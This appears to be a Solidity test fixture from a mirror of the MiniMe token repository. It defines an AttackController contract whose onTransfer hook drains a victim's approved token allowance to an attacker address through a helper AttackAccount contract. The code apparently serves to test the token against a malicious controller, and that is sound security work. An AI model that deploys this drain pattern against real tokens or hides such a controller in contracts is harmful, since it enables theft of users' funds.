mirror of https://github.com/vacp2p/minime.git
38 lines
1.3 KiB
Solidity
38 lines
1.3 KiB
Solidity
// SPDX-License-Identifier: GPL-3.0
|
|
pragma solidity ^0.8.0;
|
|
|
|
import { TokenController } from "../../contracts/TokenController.sol";
|
|
import { MiniMeToken } from "../../contracts/MiniMeToken.sol";
|
|
import { AttackAccount } from "./AttackAccount.sol";
|
|
|
|
contract AttackController is TokenController {
|
|
address public attackerEOA;
|
|
AttackAccount public attackAccount;
|
|
|
|
constructor(address _attackerEOA, AttackAccount _attackAccount) {
|
|
attackAccount = _attackAccount;
|
|
attackerEOA = _attackerEOA;
|
|
}
|
|
|
|
function proxyPayment(address) public payable override returns (bool) {
|
|
return true;
|
|
}
|
|
|
|
function onTransfer(address _from, address, uint256) public override returns (bool) {
|
|
uint256 allowance = MiniMeToken(payable(msg.sender)).allowance(_from, address(attackAccount));
|
|
uint256 balance = MiniMeToken(payable(msg.sender)).balanceOf(_from);
|
|
if (allowance > 0) {
|
|
if (allowance > balance) {
|
|
attackAccount.attack(_from, attackerEOA, balance);
|
|
} else {
|
|
attackAccount.attack(_from, attackerEOA, allowance);
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
function onApprove(address, address, uint256) public pure override returns (bool) {
|
|
return true;
|
|
}
|
|
}
|